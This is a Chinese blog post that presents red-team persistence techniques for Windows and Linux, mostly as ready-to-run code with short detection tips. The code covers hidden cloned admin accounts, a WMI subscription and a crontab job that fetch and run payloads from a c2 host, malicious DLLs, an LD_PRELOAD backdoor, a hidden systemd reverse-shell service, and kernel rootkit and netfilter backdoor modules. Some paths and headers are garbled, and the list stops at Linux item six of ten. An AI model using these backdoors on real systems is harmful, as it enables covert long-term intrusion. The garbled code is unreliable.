红队必杀技：20种APT级权限维持手法全解剖！从零基础到精通，收藏这个就够了！

程序员_大白

于 2025-04-02 14:42:30 发布

阅读量949

点赞数 10

文章标签：网络安全安全系统安全

本文链接：https://blog.csdn.net/Python_0011/article/details/146946717

版权

在网络安全的世界里，红队就像一群身怀绝技的“特工”，他们的目标是攻破系统，而权限维持则是他们成功潜伏的关键一步。想象一下，辛辛苦苦打下的“江山”，一重启就没了，岂不是白忙活一场？所以，红队必须掌握各种“不死”后门技术，确保即使系统重启、用户密码更改，甚至管理员亲自出手，也能牢牢控制住目标。

Windows和Linux权限维持技术，说白了就是一场“猫鼠游戏”。 红队想方设法在系统里留下“记号”，而蓝队则要擦除这些痕迹。这场游戏的精髓在于：

1. 信任？不存在的！
红队会疯狂利用系统自带的“信任”机制，比如Windows的注册表、计划任务，Linux的crontab、systemd服务等。这些都是系统正常运行所必需的组件，攻击者巧妙地将恶意代码隐藏其中，让系统误以为是“自己人”，从而躲过安全软件的检测，简直是“灯下黑”的完美诠释！

2. “寄生兽”的生存之道
红队还会像“寄生兽”一样，将恶意代码注入到系统进程中，或者干脆修改内核模块，让后门与系统融为一体。更骚的是，他们还会篡改日志、禁用安全工具，甚至使用多重加密通信，让蓝队根本摸不着头脑，只能眼睁睁看着他们为所欲为。

3. 多重保险，永不翻车
为了防止被一锅端，红队会建立多条“生命线”。一旦某个后门失效，他们还可以通过其他路径重新控制系统，就像玩游戏时存档一样，确保永远不会“Game Over”。

总而言之，权限维持的本质就是：红队攻破系统后，把自己变成系统的一部分，利用系统的“漏洞”和管理员的“信任”，实现持久潜伏，搞事情！

Windows权限维持技术（10种）：

1. 注册表“变脸术”：克隆一个你看不见的管理员！

技术原理：
通过修改SAM数据库注册表项，复制管理员的“身份证”（SID），创建一个隐形账户。这个账户拥有管理员的权限，但却不会出现在用户管理界面上，简直是“狸猫换太子”的升级版！

实操步骤：

# 创建一个名为“DefaultAccount$”的隐藏账户，密码？不存在的！
New-LocalUser "DefaultAccount$" -NoPassword -Description "System default account"

# 获取目标管理员的“身份证”（SID）
$targetUser = Get-WmiObject Win32_UserAccount -Filter "Name='Administrator'"
$cloneSID = $targetUser.SID

# 克隆注册表配置单元，就像复制DNA一样！
reg save HKLMSAM SAM_backup.hiv
reg load HKLMSAM_CLONE SAM_backup.hiv
$sourcePath = "SAM_CLONEDomainsAccountUsers001F4"
$destPath = "SAMSAMDomainsAccountUsers003F2"
reg copy "HKLM$sourcePath" "HKLM$destPath" /s /f

# 关联用户密钥，让克隆账户拥有管理员的“灵魂”
$user = Get-LocalUser -Name "DefaultAccount$"
$userPath = "HKLM:SAMSAMDomainsAccountUsers{0:x8}" -f [int]$user.SID.Value.Split("-")[-1]
Set-ItemProperty -Path $userPath -Name "F" -Value (Get-ItemProperty -Path "HKLM:$sourcePath").F

检测方法：

用Autoruns扫描注册表HKLMSAMSAMDomainsAccountUsers，看看有没有“不速之客”。
对比net user命令和注册表用户列表，看看有没有“失踪人口”。
执行PowerShell命令：Get-WmiObject Win32_UserAccount | ?{$_.Name -match '$$'}，揪出那些名字里带“$”的隐藏账户。

2. WMI“定时炸弹”：系统一有风吹草动，我就搞事情！

技术原理：
利用WMI事件订阅机制，创建一个永久性的“定时炸弹”。当系统发生特定事件时（比如磁盘空间不足），就会自动执行恶意代码，简直是“守株待兔”的完美战术！

完整实现：

# 创建一个事件过滤器，监控磁盘空间
$filterArgs = @{
    EventNamespace = 'root/cimv2'
    Name = 'DiskSpaceMonitor'
    Query = "SELECT * FROM __InstanceModificationEvent WHERE TargetInstance ISA 'Win32_LogicalDisk' AND TargetInstance.FreeSpace < 1073741824"
    QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs

# 创建一个活动脚本消费者，当磁盘空间不足时，执行恶意代码
$consumerArgs = @{
    Name = 'DiskCleaner'
    ScriptingEngine = 'VBScript'
    ScriptText = 'CreateObject("WScript.Shell").Run "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://c2/payload'')", 0'
}
$consumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Arguments $consumerArgs

# 绑定过滤器和消费者，让“定时炸弹”生效
$bindingArgs = @{
    Filter = $filter
    Consumer = $consumer
}
Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $bindingArgs

防御方案：

监控WMI活动日志（事件ID 5861），看看有没有“异常活动”。
定期检查rootsubscription命名空间，揪出那些“可疑分子”：

powershell Get-WmiObject -Namespace rootsubscription -Class __EventFilter Get-WmiObject -Namespace rootsubscription -Class __EventConsumer
* 使用Sysmon监控WMI事件（配置规则ID 19-21），让“坏人”无处遁形。

3. 服务“李代桃僵”：DLL劫持，瞒天过海！

技术原理：
修改服务注册表项的ImagePath参数，将合法服务指向恶意DLL，利用服务启动机制加载后门。这种方法就像“李代桃僵”，用恶意DLL替换掉合法的DLL，从而控制整个服务。

分步实施：

找到那些没有验证DLL路径的服务：

powershell Get-WmiObject Win32_Service | Where-Object { $_.PathName -match 'svchost|dllhost' } | Select-Object Name, PathName
2. 修改服务配置，让它加载恶意DLL：

powershell sc config VSS binPath= "C:WindowsSystem32svchost.exe -k netsvcs -p /malicious.dll"
3. 创建一个恶意DLL，并在其中埋下后门：

```c
// maldll.c

include

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
if (reason == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c powershell -ep bypass -enc BASE64_PAYLOAD", SW_HIDE);
}
return TRUE;
}
```

检测手段：

使用Process Explorer检查服务DLL签名，看看有没有“冒牌货”。
对比服务配置基线，看看有没有“改头换面”：

powershell Get-WmiObject Win32_Service | Export-Csv services_baseline.csv

4. CLR“釜底抽薪”：劫持.NET Framework，控制所有.NET应用！

技术原理：
篡改.NET Framework全局配置文件，强制加载恶意程序集到所有.NET应用。这种方法就像“釜底抽薪”，一旦成功，就可以控制所有使用.NET Framework的应用程序。

详细步骤：

找到machine.config文件：

%windir%Microsoft.NETFramework644.0.30319Configmachine.config
2. 插入恶意程序集绑定，让系统加载恶意DLL：

xml <configuration> <runtime> <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> <dependentAssembly> <assemblyIdentity name="System.Web" publicKeyToken="b03f5f7f11d50a3a"/> <codeBase version="4.0.0.0" href="http://malicious.c2/evil.dll"/> </dependentAssembly> </assemblyBinding> </runtime> </configuration>
3. 生成符合强名称签名的恶意DLL：

```powershell
$key = [System.Reflection.StrongNameKeyPair]::New((Get-Content evil.snk -Encoding Byte))

```

检测方案：

启用Fusion日志查看程序集加载，看看有没有“不明来历”的程序集：

```powershell

```
* 使用.NET Assembly Binding Log Viewer（fuslogvw.exe），分析程序集加载日志。

5. 计划任务“障眼法”：XML混淆，让你眼花缭乱！

技术原理：
利用任务计划程序支持Unicode控制字符的特性，创建隐蔽任务。这种方法就像“障眼法”，通过混淆任务名称和描述，让管理员难以发现恶意任务。

高级实现：

# 创建一个带有RLO控制字符的任务名，让你傻傻分不清楚
$taskName = "MicrosoftEdgeUpdate" + [char]0x202E + "exe.tmp"
$xmlContent = @"
<?xml version="1.0"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <URI>$taskName</URI>
  </RegistrationInfo>
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Actions>
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-enc BASE64_PAYLOAD</Arguments>
    </Exec>
  </Actions>
</Task>
"@

# 注册隐藏任务，让它在后台偷偷运行
$xmlContent | Out-File malware.xml
schtasks /Create /XML malware.xml /TN "MicrosoftWindowsUpdateEdgeUpdate"

检测技术：

使用PowerShell解析任务计划，看看有没有“披着羊皮的狼”：

powershell Get-ScheduledTask | ForEach-Object { [System.Text.Encoding]::Unicode.GetString([System.Text.Encoding]::ASCII.GetBytes($_.TaskName)) }
* 检查任务XML文件中的Unicode控制字符，揪出那些“伪装者”。

6. 辅助功能“偷梁换柱”：锁屏？不存在的！

原理：替换Utilman.exe，实现锁屏绕过，直接进入系统！
步骤：

takeown /f %windir%System32Utilman.exe
icacls Utilman.exe /grant Administrators:F
copy C:Tempcmd.exe Utilman.exe

检测：校验系统文件哈希值，看看有没有被篡改。

7. 动态端口“乾坤大挪移”：端口转发，神不知鬼不觉！

原理：使用Netsh创建端口镜像，将流量转发到攻击者的服务器。
命令：

netsh interface portproxy add v4tov4 listenport=443 connectaddress=10.0.0.5 connectport=4444

检测：netsh interface portproxy show all，看看有没有“可疑”的端口转发规则。

8. 注册表启动项“狸猫换太子”：伪装成系统进程，瞒天过海！

原理：在注册表Run键使用系统进程名，让恶意程序看起来像系统的一部分。
示例：

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun]
"SecurityHealth"=hex(2):25,00,77,00,69,00,6e,00,64,00,69,00,72,00,25,00,5c,00,6d,\n 00,61,00,6c,00,77,00,61,00,72,00,65,00,2e,00,65,00,78,00,65,00,00,00

9. 可信目录“浑水摸鱼”：DLL劫持，再次上演！

原理：利用Windows DLL搜索顺序，将恶意DLL放到应用目录，让它优先被加载。
技术点：

将恶意DLL命名为version.dll，放到应用目录。
劫持LoadLibrary调用，让系统加载恶意DLL。

10. 服务控制管理器“移花接木”：Hook services.exe，控制所有服务！

原理：Hook services.exe进程内存，劫持服务启动流程，实现对所有服务的控制。
实现：

使用Process Hollowing技术注入恶意代码。
劫持服务启动流程，让恶意代码在服务启动时执行。

Linux权限维持技术（10种）：

1. SSH“暗度陈仓”：软链接后门，让你防不胜防！

技术原理：
通过符号链接劫持authorized_keys文件，实现隐蔽SSH访问。这种方法就像“暗度陈仓”，攻击者可以偷偷地添加自己的公钥，从而无需密码即可登录系统。

详细步骤：

# 创建一个隐藏的密钥文件
mkdir -p /dev/shm/.ssh
ssh-keygen -t ed25519 -f /dev/shm/.ssh/backdoor_key -N ""

# 设置符号链接，将authorized_keys文件指向恶意密钥文件
ln -sf /dev/shm/.ssh/backdoor_key.pub /root/.ssh/authorized_keys

# 锁定文件属性，防止被修改
chattr +i /root/.ssh/authorized_keys

检测方法：

检查inode链接情况，看看authorized_keys文件是不是“身不由己”：

bash ls -li /root/.ssh/authorized_keys stat -c "%N" /root/.ssh/authorized_keys
* 使用find查找异常符号链接，揪出那些“幕后黑手”：

bash find / -type l -exec ls -l {} ; | grep 'ssh'

2. systemd“隐身术”：服务隐身，让你无从查起！

技术原理：
创建以.开头的服务文件实现服务隐藏，并配置自动重启。这种方法就像“隐身术”，让恶意服务在后台偷偷运行，难以被发现。

完整实现：

创建一个恶意服务文件：

```

/etc/systemd/system/.networkd.service

[Unit]
Description=Network Management Daemon
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "while true; do /tmp/.reverse_shell -t 3600; done"
Restart=always
RestartSec=30s
OOMScoreAdjust=-1000

[Install]
WantedBy=multi-user.target
```
2. 重载并启动服务：

bash systemctl daemon-reload systemctl enable --now .networkd.service

检测技巧：

显示所有服务单元，看看有没有“漏网之鱼”：

bash systemctl list-unit-files --all | grep 'service'
* 检查服务文件创建时间，看看有没有“新面孔”：

bash find /etc/systemd/system -type f -name ".*" -exec stat -c "%n %y" {} ;

3. 动态链接库“狸猫换太子”：预加载，控制系统函数！

技术原理：
通过LD_PRELOAD环境变量注入恶意共享库，劫持关键系统函数。这种方法就像“狸猫换太子”，用恶意库替换掉合法的库，从而控制系统函数。

分步实施：

编写恶意库：

```c
// evil_lib.c

include

include

include

// 劫持geteuid函数
uid_t geteuid() {
static uid_t (original_geteuid)();
original_geteuid = dlsym(RTLD_NEXT, "geteuid");
system("nohup /tmp/.backdoor >/dev/null 2>&1 &");
return original_geteuid();
}
```
2. 编译并部署：*

bash gcc -shared -fPIC -o evil_lib.so evil_lib.c -ldl mv evil_lib.so /usr/lib/x86_64-linux-gnu/.libcrypto.so.1.1
3. 设置全局预加载：

bash echo "/usr/lib/x86_64-linux-gnu/.libcrypto.so.1.1" > /etc/ld.so.preload

防御方案：

检查预加载配置，看看有没有“不速之客”：

bash cat /etc/ld.so.preload
* 使用strace跟踪进程，看看有没有加载“可疑”的库：

bash strace -e openat,fstat,execve -f -p PID

4. 内核模块“金蝉脱壳”：Rootkit，让你看不到我！

技术原理：
加载自定义内核模块实现进程、文件、网络连接的隐藏。这种方法就像“金蝉脱壳”，让恶意模块在内核中运行，从而实现对系统的高度控制。

模块代码片段：

// hide_module.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/list.h>

extern struct list_head *prev_module;

static int __init rootkit_init(void) {
    list_del_init(&THIS_MODULE->list); // 从模块列表删除
    kobject_del(&THIS_MODULE->mkobj.kobj); // 删除sysfs入口
    return 0;
}

static void __exit rootkit_exit(void) {
    list_add(&THIS_MODULE->list, prev_module);
}

module_init(rootkit_init);
module_exit(rootkit_exit);

隐蔽加载：

insmod hide_module.ko
dmesg -C
rmmod hide_module

检测方法：

使用SystemTap检测隐藏模块，看看有没有“漏网之鱼”：

bash stap -e 'probe kernel.function("module_load") { printf("%s ", execname()) }'
* 对比/proc/modules与sysfs数据，看看有没有“失踪人口”：

bash lsmod | awk '{print $1}' | sort > /tmp/lsmod.list find /sys/module/ -maxdepth 1 -type d | cut -d/ -f4 | sort > /tmp/sysmod.list diff /tmp/lsmod.list /tmp/sysmod.list

5. TCP协议栈“暗度陈仓”：TCP后门，让你防不胜防！

技术原理：
通过内核模块劫持网络数据包处理流程，建立隐蔽通信通道。这种方法就像“暗度陈仓”，攻击者可以在不引起注意的情况下，与目标系统进行通信。

关键代码：

// tcp_backdoor.c
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>

static struct nf_hook_ops nfho;

unsigned int hook_func(void *priv, struct sk_buff *skb,
                        const struct nf_hook_state *state) {
    struct iphdr *iph = ip_hdr(skb);
    if (iph->protocol == IPPROTO_TCP) {
        struct tcphdr *tcph = tcp_hdr(skb);
        if (tcph->dest == htons(6666)) { // 监听特殊端口
            // 触发反向Shell
            char *argv[] = { "/bin/bash", "-c", "/tmp/.reverse_shell", NULL };
            call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC);
        }
    }
    return NF_ACCEPT;
}

static int __init mod_init(void) {
    nfho.hook = hook_func;
    nfho.pf = PF_INET;
    nfho.hooknum = NF_INET_PRE_ROUTING;
    nfho.priority = NF_IP_PRI_FIRST;
    nf_register_net_hook(&init_net, &nfho);
    return 0;
}

检测方案：

使用netfilter hook检测工具，看看有没有“不速之客”：

bash cat /proc/kallsyms | grep nf_hook
* 监控异常内核模块加载，揪出那些“幕后黑手”：

bash auditctl -w /sbin/insmod -p x -k kernel_module

6. crontab“乾坤大挪移”：时间混淆，让你摸不着头脑！

原理：随机化执行时间，规避检测，让管理员难以预测。
实现：

RAND_H=$(shuf -i 0-23 -n1)
RAND_M=$(shuf -i 0-59 -n1)
(crontab -l; echo "$RAND_M $RAND_H * * * curl http://c2/p.sh | sh") | crontab -